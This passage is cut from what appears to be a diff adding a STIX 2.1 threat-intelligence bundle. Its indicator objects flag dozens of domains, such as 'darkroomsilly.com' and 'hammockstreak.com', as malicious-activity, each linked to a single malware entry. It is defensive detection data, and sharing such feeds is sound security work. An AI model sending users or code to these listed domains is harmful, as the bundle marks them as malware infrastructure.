"relationship", + "spec_version": "2.1", + "id": "relationship--2678d374-4336-4704-99a7-b7510f28caed", + "created": "2023-03-29T12:58:43.509192Z", + "modified": "2023-03-29T12:58:43.509192Z", + "relationship_type": "indicates", + "source_ref": "indicator--635599dc-e5dc-4a15-8a4b-dab130fac18e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--be857634-f7a7-46d5-8a3a-f8846d46fd6c", + "created": "2023-03-29T12:58:43.50937Z", + "modified": "2023-03-29T12:58:43.50937Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='darkroomsilly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.50937Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--63bb6917-fb6e-497f-90d4-66d4c01d48ff", + "created": "2023-03-29T12:58:43.510039Z", + "modified": "2023-03-29T12:58:43.510039Z", + "relationship_type": "indicates", + "source_ref": "indicator--be857634-f7a7-46d5-8a3a-f8846d46fd6c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--590044fa-cbbb-4bb5-ac2e-39b5da71fd84", + "created": "2023-03-29T12:58:43.510219Z", + "modified": "2023-03-29T12:58:43.510219Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unmaskingattest.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.510219Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d00871da-51d8-4fbd-a7d0-5b1a3eae5a9f", + "created": "2023-03-29T12:58:43.510843Z", + "modified": "2023-03-29T12:58:43.510843Z", + "relationship_type": "indicates", + "source_ref": "indicator--590044fa-cbbb-4bb5-ac2e-39b5da71fd84", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b9f30d79-e5f4-4d40-a286-c6e934fb6850", + "created": "2023-03-29T12:58:43.511017Z", + "modified": "2023-03-29T12:58:43.511017Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hammockstreak.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.511017Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6cef9f19-2685-4803-9c8e-dbcc1237af78", + "created": "2023-03-29T12:58:43.511636Z", + "modified": "2023-03-29T12:58:43.511636Z", + "relationship_type": "indicates", + "source_ref": "indicator--b9f30d79-e5f4-4d40-a286-c6e934fb6850", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bb5b007a-b77c-4cef-9270-c6389af0d343", + "created": "2023-03-29T12:58:43.511809Z", + "modified": "2023-03-29T12:58:43.511809Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='slatedbuttons.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.511809Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d15c1ced-22ec-437e-99a8-a3988973eee2", + "created": "2023-03-29T12:58:43.512447Z", + "modified": "2023-03-29T12:58:43.512447Z", + "relationship_type": "indicates", + "source_ref": "indicator--bb5b007a-b77c-4cef-9270-c6389af0d343", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e399c2f4-1998-444a-859d-176783c6fc2f", + "created": "2023-03-29T12:58:43.51262Z", + "modified": "2023-03-29T12:58:43.51262Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='repossessmonotype.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.51262Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--98f0c4e7-f382-45e5-a38f-6cd0aeab91f4", + "created": "2023-03-29T12:58:43.51325Z", + "modified": "2023-03-29T12:58:43.51325Z", + "relationship_type": "indicates", + "source_ref": "indicator--e399c2f4-1998-444a-859d-176783c6fc2f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--efd7103b-03a5-45ac-978a-e15be62dc627", + "created": "2023-03-29T12:58:43.513424Z", + "modified": "2023-03-29T12:58:43.513424Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unglazedamplifier.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.513424Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--89e176eb-91a8-4591-9255-7edb97cd343a", + "created": "2023-03-29T12:58:43.514071Z", + "modified": "2023-03-29T12:58:43.514071Z", + "relationship_type": "indicates", + "source_ref": "indicator--efd7103b-03a5-45ac-978a-e15be62dc627", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d77b398-434b-4d5b-b06a-912a5f65db62", + "created": "2023-03-29T12:58:43.514246Z", + "modified": "2023-03-29T12:58:43.514246Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='searchworld.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.514246Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1fd2a68e-4ca6-4a33-8f5b-cffdd1642dc9", + "created": "2023-03-29T12:58:43.514868Z", + "modified": "2023-03-29T12:58:43.514868Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d77b398-434b-4d5b-b06a-912a5f65db62", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a6afd3d2-32ac-4fa1-9dfe-990c6a2196d2", + "created": "2023-03-29T12:58:43.515058Z", + "modified": "2023-03-29T12:58:43.515058Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='entangledearflap.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.515058Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c83b89e7-1c31-4dac-8669-b7f4741ed335", + "created": "2023-03-29T12:58:43.515688Z", + "modified": "2023-03-29T12:58:43.515688Z", + "relationship_type": "indicates", + "source_ref": "indicator--a6afd3d2-32ac-4fa1-9dfe-990c6a2196d2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e24ce4ae-b82d-41e0-833c-1de440d594d3", + "created": "2023-03-29T12:58:43.51586Z", + "modified": "2023-03-29T12:58:43.51586Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='easinesstarmac.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.51586Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--555c433f-8bcc-4a46-b9ba-01c4ba614f1d", + "created": "2023-03-29T12:58:43.516603Z", + "modified": "2023-03-29T12:58:43.516603Z", + "relationship_type": "indicates", + "source_ref": "indicator--e24ce4ae-b82d-41e0-833c-1de440d594d3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d17c31a8-8692-488d-acb5-600b14c3f012", + "created": "2023-03-29T12:58:43.516781Z", + "modified": "2023-03-29T12:58:43.516781Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='proudfive.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.516781Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--36e9aff5-37ab-43e8-ab74-b6d5e5100803", + "created": "2023-03-29T12:58:43.517397Z", + "modified": "2023-03-29T12:58:43.517397Z", + "relationship_type": "indicates", + "source_ref": "indicator--d17c31a8-8692-488d-acb5-600b14c3f012", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--24c94141-161f-4783-a81c-6cf1d37038d3", + "created": "2023-03-29T12:58:43.51758Z", + "modified": "2023-03-29T12:58:43.51758Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cementposing.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.51758Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4d627d1e-fc89-4f88-ade2-56c62302613d", + "created": "2023-03-29T12:58:43.518199Z", + "modified": "2023-03-29T12:58:43.518199Z", + "relationship_type": "indicates", + "source_ref": "indicator--24c94141-161f-4783-a81c-6cf1d37038d3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b8528c54-1c1a-483d-95da-1cca8c475179", + "created": "2023-03-29T12:58:43.518373Z", + "modified": "2023-03-29T12:58:43.518373Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fastfourbelt.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.518373Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--81fea919-ccf4-4fdf-8625-268a21fcc8a8", + "created": "2023-03-29T12:58:43.518988Z", + "modified": "2023-03-29T12:58:43.518988Z", + "relationship_type": "indicates", + "source_ref": "indicator--b8528c54-1c1a-483d-95da-1cca8c475179", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--91cf79e9-4dee-45ab-b2db-a2714857fb07", + "created": "2023-03-29T12:58:43.519165Z", + "modified": "2023-03-29T12:58:43.519165Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spectrone.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.519165Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d7dd3eb8-d6d2-482b-9a35-7faac62fccaa", + "created": "2023-03-29T12:58:43.519778Z", + "modified": "2023-03-29T12:58:43.519778Z", + "relationship_type": "indicates", + "source_ref": "indicator--91cf79e9-4dee-45ab-b2db-a2714857fb07", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1f5e1f2a-b559-4ae9-bb2a-fcf73c3fc269", + "created": "2023-03-29T12:58:43.519953Z", + "modified": "2023-03-29T12:58:43.519953Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='olympicsmystified.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.519953Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--33a3993e-651d-4915-9cf6-6e0eca9b4012", + "created": "2023-03-29T12:58:43.520571Z", + "modified": "2023-03-29T12:58:43.520571Z", + "relationship_type": "indicates", + "source_ref": "indicator--1f5e1f2a-b559-4ae9-bb2a-fcf73c3fc269", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a0396f2e-38fd-4c8b-a421-a91a5d88d8e7", + "created": "2023-03-29T12:58:43.520744Z", + "modified": "2023-03-29T12:58:43.520744Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='caramelconjure.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.520744Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ed196d34-5406-4a3e-8ebb-f7a9ac99bc20", + "created": "2023-03-29T12:58:43.521358Z", + "modified": "2023-03-29T12:58:43.521358Z", + "relationship_type": "indicates", + "source_ref": "indicator--a0396f2e-38fd-4c8b-a421-a91a5d88d8e7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b04f1933-4f6b-4a29-9a7c-daac62e2bf8a", + "created": "2023-03-29T12:58:43.521543Z", + "modified": "2023-03-29T12:58:43.521543Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='delusiontruth.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.521543Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f0dffec-e638-4d32-bf2c-5e1f492558dd", + "created": "2023-03-29T12:58:43.522162Z", + "modified": "2023-03-29T12:58:43.522162Z", + "relationship_type": "indicates", + "source_ref": "indicator--b04f1933-4f6b-4a29-9a7c-daac62e2bf8a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--57873730-4fb8-40c7-9dab-9c927f9ed2d7", + "created": "2023-03-29T12:58:43.522336Z", + "modified": "2023-03-29T12:58:43.522336Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='doorknobprodigy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.522336Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--57ac956f-f527-4d05-8f8f-e7017b8e693c", + "created": "2023-03-29T12:58:43.52296Z", + "modified": "2023-03-29T12:58:43.52296Z", + "relationship_type": "indicates", + "source_ref": "indicator--57873730-4fb8-40c7-9dab-9c927f9ed2d7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3dce11cd-98dd-4eac-b01f-b371cf32c9af", + "created": "2023-03-29T12:58:43.523146Z", + "modified": "2023-03-29T12:58:43.523146Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='formallyloudhut.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.523146Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0fa09307-e1ac-4daf-b2bc-eaab98efc8bc", + "created": "2023-03-29T12:58:43.523886Z", + "modified": "2023-03-29T12:58:43.523886Z", + "relationship_type": "indicates", + "source_ref": "indicator--3dce11cd-98dd-4eac-b01f-b371cf32c9af", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--412fa087-db10-4ecd-808d-87767b96ef98", + "created": "2023-03-29T12:58:43.524064Z", + "modified": "2023-03-29T12:58:43.524064Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gaiamiacola.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.524064Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--98bcaf74-9ea7-4046-9c77-4e96c4953b13", + "created": "2023-03-29T12:58:43.524713Z", + "modified": "2023-03-29T12:58:43.524713Z", + "relationship_type": "indicates", + "source_ref": "indicator--412fa087-db10-4ecd-808d-87767b96ef98", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--231df924-749f-46c8-a3f9-046cb63dbd88", + "created": "2023-03-29T12:58:43.52489Z", + "modified": "2023-03-29T12:58:43.52489Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='headrestprance.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.52489Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d948f47c-d2f8-4aea-8c59-0b10982a9f0a", + "created": "2023-03-29T12:58:43.525523Z", + "modified": "2023-03-29T12:58:43.525523Z", + "relationship_type": "indicates", + "source_ref": "indicator--231df924-749f-46c8-a3f9-046cb63dbd88", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f533da1a-302d-4606-9754-9f77f4594143", + "created": "2023-03-29T12:58:43.525706Z", + "modified": "2023-03-29T12:58:43.525706Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='surveyremarry.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.525706Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fab22aa5-0c35-475a-8bc6-518e87d08637", + "created": "2023-03-29T12:58:43.526324Z", + "modified": "2023-03-29T12:58:43.526324Z", + "relationship_type": "indicates", + "source_ref": "indicator--f533da1a-302d-4606-9754-9f77f4594143", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--43e3b875-4091-475d-b6e9-9116be43e931", + "created": "2023-03-29T12:58:43.526497Z", + "modified": "2023-03-29T12:58:43.526497Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='recklessstream.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.526497Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b36fb31c-c2ea-4061-b076-c153b7632d8b", + "created": "2023-03-29T12:58:43.527163Z", + "modified": "2023-03-29T12:58:43.527163Z", + "relationship_type": "indicates", + "source_ref": "indicator--43e3b875-4091-475d-b6e9-9116be43e931", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c4980cff-3103-466f-8dd3-e1b920b74d09", + "created": "2023-03-29T12:58:43.527338Z", + "modified": "2023-03-29T12:58:43.527338Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='anglesyen.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.527338Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d7c8e4c5-1937-48f1-868c-79b6fa179ef1", + "created": "2023-03-29T12:58:43.527946Z", + "modified": "2023-03-29T12:58:43.527946Z", + "relationship_type": "indicates", + "source_ref": "indicator--c4980cff-3103-466f-8dd3-e1b920b74d09", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d98d106-f25e-42dd-919c-28bc88ea9a6a", + "created": "2023-03-29T12:58:43.528118Z", + "modified": "2023-03-29T12:58:43.528118Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='profuselykebab.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.528118Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d64c3c9b-d80a-4d55-8d9c-206aedbc8eb5", + "created": "2023-03-29T12:58:43.52873Z", + "modified": "2023-03-29T12:58:43.52873Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d98d106-f25e-42dd-919c-28bc88ea9a6a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d10ea20b-1b06-4ee8-8951-92868c7c3aa8", + "created": "2023-03-29T12:58:43.528901Z", + "modified": "2023-03-29T12:58:43.528901Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='amorematerno.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.528901Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f720dbec-3c69-495f-8b92-75581c3fdd88", + "created": "2023-03-29T12:58:43.529513Z", + "modified": "2023-03-29T12:58:43.529513Z", + "relationship_type": "indicates", + "source_ref": "indicator--d10ea20b-1b06-4ee8-8951-92868c7c3aa8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7594ddb5-7c8e-488e-8350-57cb5e057864", + "created": "2023-03-29T12:58:43.529697Z", + "modified": "2023-03-29T12:58:43.529697Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coffeespot.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.529697Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--59242516-76e5-4a1b-9103-b0a138a6f989", + "created": "2023-03-29T12:58:43.530316Z", + "modified": "2023-03-29T12:58:43.530316Z", + "relationship_type": "indicates", + "source_ref": "indicator--7594ddb5-7c8e-488e-8350-57cb5e057864", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c339cce8-a7c0-4656-8767-1b56642864f4", + "created": "2023-03-29T12:58:43.53049Z", + "modified": "2023-03-29T12:58:43.53049Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deftlyunshipped.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.53049Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9ab36361-23f4-40f8-ada8-1ed028d3e5e0", + "created": "2023-03-29T12:58:43.531228Z", + "modified": "2023-03-29T12:58:43.531228Z", + "relationship_type": "indicates", + "source_ref": "indicator--c339cce8-a7c0-4656-8767-1b56642864f4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb075757-aa4e-4fed-872b-588c0ede9f7e", + "created": "2023-03-29T12:58:43.531406Z", + "modified": "2023-03-29T12:58:43.531406Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shiftysurvival.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.531406Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--570cdfe3-3d97-4e13-bcae-bc8b9c794714", + "created": "2023-03-29T12:58:43.532043Z", + "modified": "2023-03-29T12:58:43.532043Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb075757-aa4e-4fed-872b-588c0ede9f7e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--59925a73-fcd5-42e7-855a-45e9daf9abbd", + "created": "2023-03-29T12:58:43.532219Z", + "modified": "2023-03-29T12:58:43.532219Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nimblevisible.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.532219Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e77561af-376b-4f06-8d5b-43270fd7f891", + "created": "2023-03-29T12:58:43.532831Z", + "modified": "2023-03-29T12:58:43.532831Z", + "relationship_type": "indicates", + "source_ref": "indicator--59925a73-fcd5-42e7-855a-45e9daf9abbd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--203a18b7-c331-4c29-af4c-0c8eb97db1ea", + "created": "2023-03-29T12:58:43.533003Z", + "modified": "2023-03-29T12:58:43.533003Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onlookergestate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.533003Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fc611152-5a7b-4494-b658-423d7a825ec6", + "created": "2023-03-29T12:58:43.533636Z", + "modified": "2023-03-29T12:58:43.533636Z", + "relationship_type": "indicates", + "source_ref": "indicator--203a18b7-c331-4c29-af4c-0c8eb97db1ea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--63caca59-f78d-4a1b-9a7b-db15ccb979ac", + "created": "2023-03-29T12:58:43.53381Z", + "modified": "2023-03-29T12:58:43.53381Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chantdrier.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.53381Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e3119abc-e525-4739-b6e9-b81044f6fc3b", + "created": "2023-03-29T12:58:43.534414Z", + "modified": "2023-03-29T12:58:43.534414Z", + "relationship_type": "indicates", + "source_ref": "indicator--63caca59-f78d-4a1b-9a7b-db15ccb979ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c22d5f13-4593-460c-b554-bd4d82e7ccf1", + "created": "2023-03-29T12:58:43.534588Z", + "modified": "2023-03-29T12:58:43.534588Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='worrisomejailhouse.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.534588Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b9d75475-56d1-4147-adeb-1cfbb2af9c07", + "created": "2023-03-29T12:58:43.535202Z", + "modified": "2023-03-29T12:58:43.535202Z", + "relationship_type": "indicates", + "source_ref": "indicator--c22d5f13-4593-460c-b554-bd4d82e7ccf1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed93ef06-c348-4264-96ec-0e37e13ae020", + "created": "2023-03-29T12:58:43.535375Z", + "modified": "2023-03-29T12:58:43.535375Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='plasticshovels.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.535375Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dc63567c-84ca-41dc-b069-eb3644364cfa", + "created": "2023-03-29T12:58:43.53599Z", + "modified": "2023-03-29T12:58:43.53599Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed93ef06-c348-4264-96ec-0e37e13ae020", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7b971747-7030-4f38-aa0e-abfd8099bf6b", + "created": "2023-03-29T12:58:43.536162Z", + "modified": "2023-03-29T12:58:43.536162Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='storeroomdirected.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.536162Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a6abbd66-54dd-4b7a-8426-1fc7bc1f8ef4", + "created": "2023-03-29T12:58:43.536799Z", + "modified": "2023-03-29T12:58:43.536799Z", + "relationship_type": "indicates", + "source_ref": "indicator--7b971747-7030-4f38-aa0e-abfd8099bf6b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--43ba24ae-fb3d-4abb-b122-d77e0393a973", + "created": "2023-03-29T12:58:43.536973Z", + "modified": "2023-03-29T12:58:43.536973Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='voicingcable.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.536973Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--421e8ff1-5e4b-4586-af39-2420012e8984", + "created": "2023-03-29T12:58:43.537589Z", + "modified": "2023-03-29T12:58:43.537589Z", + "relationship_type": "indicates", + "source_ref": "indicator--43ba24ae-fb3d-4abb-b122-d77e0393a973", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5eef9a9f-ed59-4a5c-9e6e-ff6cdf5964ed", + "created": "2023-03-29T12:58:43.537766Z", + "modified": "2023-03-29T12:58:43.537766Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ordinaaiuto.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.537766Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1b10f134-7a98-45f6-aec6-bf6c4f0d2468", + "created": "2023-03-29T12:58:43.538481Z", + "modified": "2023-03-29T12:58:43.538481Z", + "relationship_type": "indicates", + "source_ref": "indicator--5eef9a9f-ed59-4a5c-9e6e-ff6cdf5964ed", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0b7ab89d-6745-46a9-8054-257ebd00cf22", + "created": "2023-03-29T12:58:43.538657Z", + "modified": "2023-03-29T12:58:43.538657Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": 